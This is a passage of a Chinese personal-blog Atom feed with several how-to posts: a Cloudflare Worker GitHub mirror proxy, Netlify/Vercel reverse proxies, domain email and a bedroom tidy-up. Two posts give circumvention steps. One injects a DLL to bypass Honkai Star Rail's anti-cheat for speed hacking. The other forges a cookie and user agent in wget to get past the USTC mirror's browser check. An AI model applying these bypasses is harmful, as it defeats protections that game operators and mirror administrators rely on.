console.log(&amp;quot;5&amp;quot;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;liu-lan-qi-shi-ru-he-an-bu-jiu-ban-zhi-xing-ming-ling-de&quot;&gt;浏览器是如何按部就班执行命令的？&lt;&#x2F;h1&gt;
&lt;p&gt;浏览器的所有操作都由&lt;strong&gt;渲染主线程&lt;&#x2F;strong&gt;执行，渲染主线程将创建一个无限循环的任务执行已有的任务，当渲染主线程无任务时将从&lt;strong&gt;消息队列&lt;&#x2F;strong&gt;中拿取新的任务执行。&lt;strong&gt;所有任务遵循先来后到，不允许插队执行&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;视频分析：&lt;&#x2F;p&gt;
&lt;iframe src=&quot;&#x2F;&#x2F;player.bilibili.com&#x2F;player.html?isOutside=true&amp;aid=114398232385591&amp;bvid=BV1VpLJzPEBp&amp;cid=29606019473&amp;p=1&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;&#x2F;iframe&gt;</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>使用Cloudflare Worker搭建Github全站代理（防钓鱼）</title>
        <published>2025-04-15T00:00:00+00:00</published>
        <updated>2025-04-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/gh-proxy/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/gh-proxy/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/gh-proxy/">&lt;p&gt;针对于Github这样的网站，我们无法仅使用一个透明的反向代理指向 &lt;code&gt;Github.com&lt;&#x2F;code&gt; 来解决，因为Github官网还有许多外域依赖，比如 &lt;code&gt;raw.githubusercontent.com&lt;&#x2F;code&gt; ，所以我们还需要写一个逻辑，让Worker重写Github传回的HTML，将其中的外域改为我们自己的域，同时建立多个解析替代&lt;&#x2F;p&gt;
&lt;p&gt;假如说原来用户访问：&lt;&#x2F;p&gt;
&lt;p&gt;用户 -&amp;gt; github.com -&amp;gt; raw.githubusercontent.com（被github.com请求）&lt;&#x2F;p&gt;
&lt;p&gt;那么我们的代理就是&lt;&#x2F;p&gt;
&lt;p&gt;用户 -&amp;gt; gh.072103.xyz -&amp;gt; raw-githubusercontent-com.072103.xyz（被gh.072103.xyz请求）&lt;&#x2F;p&gt;
&lt;p&gt;然后针对于 gh.072103.xyz 的请求由Worker反代到 github.com，而针对于 raw-githubusercontent-com.072103.xyz 的请求由Worker反代到 raw.githubusercontent.com&lt;&#x2F;p&gt;
&lt;p&gt;注意！这样去反代主流网站后，不久你的网站就会被标记为（钓鱼站点），因为你原封不动的克隆了人家站点并且 &lt;strong&gt;没有显式屏蔽登录页面&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所以接下来我们需要找到原站点的所有登录页逐一屏蔽，对于Github.com，我们需要屏蔽&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&#x2F;&lt;&#x2F;code&gt; &lt;code&gt;&#x2F;login&lt;&#x2F;code&gt; &lt;code&gt;&#x2F;signup&lt;&#x2F;code&gt; &lt;code&gt;copilot&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;你可以将其直接导向404，或者重定向到另外的网站，&lt;strong&gt;只要不让你的用户能在你的反代网站上能登录就可以&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-bu-shu&quot;&gt;正式部署&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;教程视频： https://www.bilibili.com&#x2F;video&#x2F;BV1jGd6YpE8z&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;进入 dash.cloudflare.com&lt;&#x2F;p&gt;
&lt;p&gt;创建新Worker，选择Hello World模板&lt;&#x2F;p&gt;
&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;afoim&#x2F;GithubSiteProxyForCloudflareWorker&quot;&gt;GitHub - afoim&#x2F;GithubSiteProxyForCloudflareWorker: 这是一个基于Cloudflare Workers的GitHub代理服务，允许通过替代域名访问GitHub资源，解决某些网络环境下GitHub访问受限的问题。代理服务通过域名映射和资源转发，提供无缝的GitHub浏览体验。&lt;&#x2F;a&gt; 复制 &lt;code&gt;worker.js&lt;&#x2F;code&gt; 代码粘贴到你的Worker&lt;&#x2F;p&gt;
&lt;p&gt;观察域名配置&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;js&quot;&gt;&#x2F;&#x2F; 域名映射配置
const domain_mappings = {
  &amp;#39;github.com&amp;#39;: &amp;#39;gh.&amp;#39;,
  &amp;#39;avatars.githubusercontent.com&amp;#39;: &amp;#39;avatars-githubusercontent-com.&amp;#39;,
  &amp;#39;github.githubassets.com&amp;#39;: &amp;#39;github-githubassets-com.&amp;#39;,
  &amp;#39;collector.github.com&amp;#39;: &amp;#39;collector-github-com.&amp;#39;,
  &amp;#39;api.github.com&amp;#39;: &amp;#39;api-github-com.&amp;#39;,
  &amp;#39;raw.githubusercontent.com&amp;#39;: &amp;#39;raw-githubusercontent-com.&amp;#39;,
  &amp;#39;gist.githubusercontent.com&amp;#39;: &amp;#39;gist-githubusercontent-com.&amp;#39;,
  &amp;#39;github.io&amp;#39;: &amp;#39;github-io.&amp;#39;,
  &amp;#39;assets-cdn.github.com&amp;#39;: &amp;#39;assets-cdn-github-com.&amp;#39;,
  &amp;#39;cdn.jsdelivr.net&amp;#39;: &amp;#39;cdn.jsdelivr-net.&amp;#39;,
  &amp;#39;securitylab.github.com&amp;#39;: &amp;#39;securitylab-github-com.&amp;#39;,
  &amp;#39;www.githubstatus.com&amp;#39;: &amp;#39;www-githubstatus-com.&amp;#39;,
  &amp;#39;npmjs.com&amp;#39;: &amp;#39;npmjs-com.&amp;#39;,
  &amp;#39;git-lfs.github.com&amp;#39;: &amp;#39;git-lfs-github-com.&amp;#39;,
  &amp;#39;githubusercontent.com&amp;#39;: &amp;#39;githubusercontent-com.&amp;#39;,
  &amp;#39;github.global.ssl.fastly.net&amp;#39;: &amp;#39;github-global-ssl-fastly-net.&amp;#39;,
  &amp;#39;api.npms.io&amp;#39;: &amp;#39;api-npms-io.&amp;#39;,
  &amp;#39;github.community&amp;#39;: &amp;#39;github-community.&amp;#39;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;假如你的域名为 &lt;code&gt;abc.com&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;你需要将&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;gh.abc.com&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;avatars-githubusercontent-com.abc.com&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;...&lt;&#x2F;p&gt;
&lt;p&gt;绑定到你的Worker，随后访问 &lt;code&gt;gh.abc.com&lt;&#x2F;code&gt; 就能访问你自己的Github反代了&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;wan-zheng-dai-ma&quot;&gt;完整代码&lt;&#x2F;h1&gt;
&lt;p&gt;参见Github仓库： https://github.com&#x2F;afoim&#x2F;GithubSiteProxyForCloudflareWorker&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gua-yong-yu-gao-ji-wan-jia&quot;&gt;适用于高级玩家：&lt;&#x2F;h1&gt;
&lt;p&gt;如果你想修改三级域名，比如将 &lt;code&gt;gh.abc.com&lt;&#x2F;code&gt; 改为 &lt;code&gt;github.abc.com&lt;&#x2F;code&gt; 等，直接更改域名映射配置对应键的值&lt;&#x2F;p&gt;
&lt;p&gt;可以添加和删除要重定向的路径，默认重定向到一个神秘的网站，都有注释，你可以自行更改&lt;&#x2F;p&gt;
&lt;p&gt;本项目也是一个任意全站反代模板，可以反代其他网站（注意需要大改代码）&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>崩坏星穹铁道全局加速</title>
        <published>2025-04-15T00:00:00+00:00</published>
        <updated>2025-04-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/starrail-fast/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/starrail-fast/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/starrail-fast/">&lt;p&gt;注入一个DLL实现绕过ACE反作弊，然后用CE的变速精灵&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;p&gt;确保你安装了Virtual Studio 2022 中的工作负载：使用C++的桌面开发&lt;&#x2F;p&gt;
&lt;p&gt;克隆DLL源码仓库：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;gmh5225&#x2F;Honkai-StarRail-ACE-B&quot;&gt;GitHub - gmh5225&#x2F;Honkai-StarRail-ACE-B: This repository provides code and instructions for bypassing the anti-cheat system in Honkai Star Rail game, allowing players to access previously restricted features and improve their gameplay experience. For informational purposes only. Use at your own risk.&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;TsudaKageyu&#x2F;minhook&#x2F;releases&quot;&gt;Releases · TsudaKageyu&#x2F;minhook&lt;&#x2F;a&gt; 分别下载 &lt;code&gt;bin&lt;&#x2F;code&gt; 和 &lt;code&gt;lib&lt;&#x2F;code&gt; ，将其解压后寻找文件 &lt;code&gt;libMinHook.x64.lib&lt;&#x2F;code&gt; 和 &lt;code&gt;MinHook.h&lt;&#x2F;code&gt; 将其放到DLL源码仓库根目录&lt;&#x2F;p&gt;
&lt;p&gt;代码需要小改，这里省略&lt;&#x2F;p&gt;
&lt;p&gt;编译：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;MSBuild star_rail.sln &#x2F;p:Configuration=Release &#x2F;p:Platform=x64 &#x2F;property:GenerateFullPaths=true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;产物在：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;\x64\Release\star_rail.dll&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;master131&#x2F;ExtremeInjector&#x2F;releases&quot;&gt;Releases · master131&#x2F;ExtremeInjector&lt;&#x2F;a&gt; 下载并解压，得到 &lt;code&gt;Extreme Injector v3.exe&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;正常打开游戏，运行 &lt;code&gt;Extreme Injector v3.exe&lt;&#x2F;code&gt; ，选择游戏进程，注入刚刚编译出来的DLL&lt;&#x2F;p&gt;
&lt;p&gt;前往 https://www.cheatengine.org&#x2F; 下载CE，打开CE，如果游戏没有闪退或者弹出反作弊窗口，则证明注入成功。接下来选择游戏进程，开启变速精灵，2-5倍速即可。Enjoy it！&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>绕过USTC的浏览器JS验证</title>
        <published>2025-04-04T00:00:00+00:00</published>
        <updated>2025-04-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/bypass-ustc-verifying/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/bypass-ustc-verifying/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/bypass-ustc-verifying/">&lt;p&gt;当我们去下载类似于 https://mirrors.ustc.edu.cn&#x2F;debian-cd&#x2F;12.10.0&#x2F;amd64&#x2F;iso-dvd&#x2F;debian-12.10.0-amd64-DVD-1.iso 这样的大文件时，USTC大概率会给你一个这样的：正在验证你的浏览器 的页面&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;58e8e41a-0755-4e6a-ab1e-a9dbaa1042d5.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你正在使用一个浏览器，比如Chrome、FireFox等，那过几秒你就能看到文件被成功开始下载&lt;&#x2F;p&gt;
&lt;p&gt;但是，如果你正在使用wget等无JS特性的工具下载这类文件，你将会被网站服务器拒绝： &lt;strong&gt;ERROR 403: Forbidden.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;~# wget https://mirrors.ustc.edu.cn&#x2F;debian-cd&#x2F;12.10.0&#x2F;amd64&#x2F;iso-dvd&#x2F;debian-12.10.0-amd64-DVD-1.iso
--2025-04-04 14:44:13--  https://mirrors.ustc.edu.cn&#x2F;debian-cd&#x2F;12.10.0&#x2F;amd64&#x2F;iso-dvd&#x2F;debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 403 Forbidden
2025-04-04 14:44:14 ERROR 403: Forbidden.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在之前，如果我想要下载这类文件我都会使用浏览器去下载，但是今天我在向我的朋友对这件事发牢骚的时候他跟我说他绕过了&lt;&#x2F;p&gt;
&lt;p&gt;于是我便想深挖一下，然后发现其实根本不是什么JS验证！！！&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fen-xi&quot;&gt;分析&lt;&#x2F;h1&gt;
&lt;p&gt;让我们首先打开这类链接，然后查询网页源代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;html&quot;&gt;		&amp;lt;h1&amp;gt;Verifying your browser&amp;lt;&#x2F;h1&amp;gt;
		&amp;lt;p&amp;gt;Additional verification is required for this file you requested.&amp;lt;&#x2F;p&amp;gt;
		&amp;lt;p&amp;gt;This page requires JavaScript. Please wait for a few seconds.&amp;lt;&#x2F;p&amp;gt;
		&amp;lt;div class=&amp;quot;footer&amp;quot;&amp;gt;
			&amp;lt;p&amp;gt;Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa&amp;lt;&#x2F;p&amp;gt;
		&amp;lt;&#x2F;div&amp;gt;
		&amp;lt;script&amp;gt;
			document.cookie = &amp;quot;addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa; max-age=300&amp;quot;;
			setTimeout(function () {
				location.reload();
			}, 2000);
		&amp;lt;&#x2F;script&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;你会发现，代码其实非常简洁干练，如果你的浏览器支持JavaScript，浏览器则会将 &lt;code&gt;addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa&lt;&#x2F;code&gt;这一串内容写入你的Cookie，之后等待两秒重载页面，然后网站发现你携带了这个Cookie，就会让你成功下载了。反之，如果你的浏览器不支持JavaScript，就会触发403，导致无法下载&lt;&#x2F;p&gt;
&lt;p&gt;那么这个&lt;code&gt;addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa&lt;&#x2F;code&gt;到底是什么呢？&lt;&#x2F;p&gt;
&lt;p&gt;我们注意到在网页上还显示了一句：&lt;code&gt;Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa&lt;&#x2F;code&gt;，那么显然，网站正是通过你能不能通过JS把你的IP写入你的Cookie来验证你的浏览器的&lt;&#x2F;p&gt;
&lt;p&gt;那么换一个思路去想，我是不是只要携带了这个Cookie，就能绕过JS验证呢？&lt;&#x2F;p&gt;
&lt;p&gt;让我们来试一试&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-zhan&quot;&gt;实战&lt;&#x2F;h1&gt;
&lt;p&gt;首先我们使用默认的wget。403&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;root@AcoFork-NAS:~# wget https://mirrors.ustc.edu.cn&#x2F;debian-cd&#x2F;12.10.0&#x2F;amd64&#x2F;iso-dvd&#x2F;debian-12.10.0-amd64-DVD-1.iso
--2025-04-04 14:55:00--  https://mirrors.ustc.edu.cn&#x2F;debian-cd&#x2F;12.10.0&#x2F;amd64&#x2F;iso-dvd&#x2F;debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 403 Forbidden
2025-04-04 14:55:00 ERROR 403: Forbidden.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后让我们携带上Cookie，但是首先我们要获得网站获取到的我们的访问IP。&lt;&#x2F;p&gt;
&lt;p&gt;这很简单，我们先用curl得到网页源码。可以看到网页得到的我们的访问IP为：&lt;code&gt;2409:8a30:320:6480::458&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;html&quot;&gt;root@AcoFork-NAS:~# curl https://mirrors.ustc.edu.cn&#x2F;dbian-cd&#x2F;12.10.0&#x2F;amd64&#x2F;iso-dvd&#x2F;debian-12.10.0-amd64-DVD-1.iso                                                                 &amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
        &amp;lt;head&amp;gt;
                &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
                &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
                &amp;lt;title&amp;gt;403 Forbidden&amp;lt;&#x2F;title&amp;gt;
                &amp;lt;style&amp;gt;
这里是无关紧要的CSS，省略
                &amp;lt;&#x2F;style&amp;gt;
        &amp;lt;&#x2F;head&amp;gt;
        &amp;lt;body&amp;gt;
                &amp;lt;h1&amp;gt;403 Forbidden&amp;lt;&#x2F;h1&amp;gt;
                &amp;lt;p&amp;gt;USTC Mirrors has denied your access due to one of the following reasons:&amp;lt;&#x2F;p&amp;gt;
                &amp;lt;p&amp;gt;1. This directory is not intended for web browsing.&amp;lt;&#x2F;p&amp;gt;
                &amp;lt;p&amp;gt;2. Your computer or network has exhibited suspicious activity.&amp;lt;&#x2F;p&amp;gt;
                &amp;lt;p&amp;gt;If you have any question, email us at lug (AT) ustc.edu.cn with your IP address.&amp;lt;&#x2F;p&amp;gt;
                &amp;lt;div class=&amp;quot;footer&amp;quot;&amp;gt;
                        &amp;lt;p&amp;gt;Your IP address is 2409:8a30:320:6480::458&amp;lt;&#x2F;p&amp;gt;
                &amp;lt;&#x2F;div&amp;gt;
        &amp;lt;&#x2F;body&amp;gt;
&amp;lt;&#x2F;html&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来让我们携带Cookie：&lt;code&gt;addr=2409:8a30:320:6480::458&lt;&#x2F;code&gt;，再次尝试wget。可惜仍然报错，思考了一下，我们可能需要伪造一下UA&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;root@AcoFork-NAS:~# wget --header=&amp;quot;Cookie: addr=2409:8a30:320:6480::458&amp;quot; \
     https://mirrors.ustc.edu.cn&#x2F;debian-cd&#x2F;12.10.0&#x2F;amd64&#x2F;iso-dvd&#x2F;debian-12.10.0-amd64-DVD-1.iso
--2025-04-04 14:57:58--  https://mirrors.ustc.edu.cn&#x2F;debian-cd&#x2F;12.10.0&#x2F;amd64&#x2F;iso-dvd&#x2F;debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 403 Forbidden
2025-04-04 14:57:58 ERROR 403: Forbidden.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么接下来我们携带必要的Cookie，再去伪造一个Chrome浏览器的UA。可见，已经成功下载&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;root@AcoFork-NAS:~# wget --header=&amp;quot;Cookie: addr=2409:8a30:320:6480::458&amp;quot; \
     --user-agent=&amp;quot;Mozilla&#x2F;5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko&#x2F;20100101 Firefox&#x2F;115.0&amp;quot; \
     &amp;quot;https://mirrors.ustc.edu.cn&#x2F;debian-cd&#x2F;12.10.0&#x2F;amd64&#x2F;iso-dvd&#x2F;debian-12.10.0-amd64-DVD-1.iso&amp;quot;
--2025-04-04 14:59:24--  https://mirrors.ustc.edu.cn&#x2F;debian-cd&#x2F;12.10.0&#x2F;amd64&#x2F;iso-dvd&#x2F;debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3994091520 (3.7G) [application&#x2F;octet-stream]
Saving to: ‘debian-12.10.0-amd64-DVD-1.iso.2’

debian-12.10.0-amd64-DVD-1.iso.2-   5%[&amp;gt;                          ] 207.26M  72.9MB&#x2F;s 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;&quot;&gt;&lt;&#x2F;h1&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Netlify、Vercel反代网站</title>
        <published>2025-04-04T00:00:00+00:00</published>
        <updated>2025-04-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/netlify-vercel-proxy/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/netlify-vercel-proxy/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/netlify-vercel-proxy/">&lt;p&gt;现阶段大部分家宽拿不到公网IPv4，但是可以拿到公网IPv6，借助Netlify做一个v6 -&amp;gt; v4的回源就可以让所有人都访问到你的站点了。同时这也是一个Netlify的通用反代教程。本文还教了Vercel的通用反代教程，不过这玩意在2025年仍然不支持IPv6，只能拿来反代小黄站了ToT&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;netlifypian&quot;&gt;Netlify篇&lt;&#x2F;h2&gt;
&lt;p&gt;首先前往 https://app.netlify.com&#x2F; 注册账号。（注意！最好使用谷歌邮箱去注册，其他方式注册可能会出现什么你的账号需要验证&#x2F;激活，然后巴拉巴拉很麻烦）
接下来去Github开一个新仓库，根目录创建一个 &lt;code&gt;netlify.toml&lt;&#x2F;code&gt;。在其中写入&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;toml&quot;&gt;[[redirects]]
  from = &amp;quot;&#x2F;*&amp;quot;
  to = &amp;quot;http:&#x2F;&#x2F;反代域名:反代端口&#x2F;:splat&amp;quot;
  status = 200
  force = true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意，端口后面的斜杠一定不要丢！
家宽v6网站建议搭配DDNS食用
接下来回到 https://app.netlify.com&#x2F; 创建一个新项目，导入你刚创建的Github项目，部署即可
最后绑定一下你的域名，完成！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;vercelpian&quot;&gt;Vercel篇&lt;&#x2F;h2&gt;
&lt;p&gt;首先前往 https://vercel.com&#x2F; 注册并登录你的账号
电脑安装Nodejs，我们需要用到npm
安装Vercel CLI&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;npm i -g vercel
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;登录Vercel CLI&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;vercel login
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;找个地方（比如桌面）创建一个你随意命名的文件夹，然后在其中创建一个你随意命名的.json文件，其中写入。&lt;strong&gt;注意，目前Vercel不支持反代IPv6！！！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;json&quot;&gt;{
    &amp;quot;version&amp;quot;: 2,
    &amp;quot;routes&amp;quot;: [
      {&amp;quot;src&amp;quot;: &amp;quot;&#x2F;(.*)&amp;quot;,&amp;quot;dest&amp;quot;: &amp;quot;https://反代域名:端口&amp;quot;}
    ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后部署&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;verceL -A 你随意命名的.json --prod
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后绑定一下你的域名，完成！&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>卧室布局整改记录</title>
        <published>2025-04-04T00:00:00+00:00</published>
        <updated>2025-04-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/reset-bedroom/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/reset-bedroom/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/reset-bedroom/">&lt;p&gt;我的卧室曾经是这样的，如你所见，非常杂乱且布线乱七八糟&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0c47e9a6-1544-4410-94d4-d319ea12ca70.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qi-ji&quot;&gt;契机&lt;&#x2F;h1&gt;
&lt;p&gt;今天早上起来我灵机一动，想着要不要整理一下，于是变成了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;a4db38f0-5a54-4e6c-8392-2375d775f7c6.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;结束咯~&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>自建邮局太麻烦？来用网易免费企业邮！绑定你的域名收发自如！</title>
        <published>2025-03-12T00:00:00+00:00</published>
        <updated>2025-03-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/163-free-domain-email/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/163-free-domain-email/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/163-free-domain-email/">&lt;p&gt;最早我开始知道域名邮箱是因为偶然在一位我朋友的开发群内看到他的微软账户绑定的邮箱是admin@他网站的域名.com。&lt;&#x2F;p&gt;
&lt;p&gt;我当时就很好奇，就去问他你这个邮箱是自建的吗？&lt;&#x2F;p&gt;
&lt;p&gt;因为我当时也知道可以通过购买VPS然后配上一些开源邮局框架来自建邮箱，但是这需要金钱和时间成本，而且我认为不大稳定，所以一直就没有试过，而且我觉得我当时的acofork@foxmail.com这个邮箱虽然是托管在QQ的，但是也够用了。&lt;&#x2F;p&gt;
&lt;p&gt;然后他说他用的是Cloudflare的邮件转发服务，我就心想这cf还能干这个，一番操作以下发现还真能。&lt;&#x2F;p&gt;
&lt;p&gt;在cf的域名配置中有一个电子邮件转发，可以将发给你域名的邮件转发到你自己用的邮箱，比如发给sikosiko@onani.cn的邮件会被cf转发给我的私用邮箱acofork@foxmail.com。&lt;&#x2F;p&gt;
&lt;p&gt;但是因为是转发，那么如果你想要以sikosiko@onani.cn这个身份发邮件就需要费一番周折了。我用的foxmail.com被腾讯收购了，现在作为QQ邮箱的服务提供，而QQ邮箱要绑定域名需要购买万恶的VIP，于是就只能通过Outlook、Gmail等支持免费绑定域名作为别名的邮箱来发邮件&lt;&#x2F;p&gt;
&lt;p&gt;但这也太割裂了吧，我在QQ邮箱上收到，然后还要去Outlook或者Gmail上面回复？于是我后面也还是继续使用我的私用邮箱，不去折腾什么域名邮箱了，毕竟方便比什么都重要&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;但是话又说回来，最近发现了这个网易免费企业邮，可以免费绑定你的域名用作域名邮箱，并且直接将MX解析解析到网易，既能收，也能发。而且这个项目也不是刚出的，貌似在2015就已经有了，所以也不用担心灵车，至少比你自建的稳定😋&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;chuang-jian-zhang-hao-bing-pei-zhi-guan-li-yuan&quot;&gt;创建账号并配置管理员&lt;&#x2F;h2&gt;
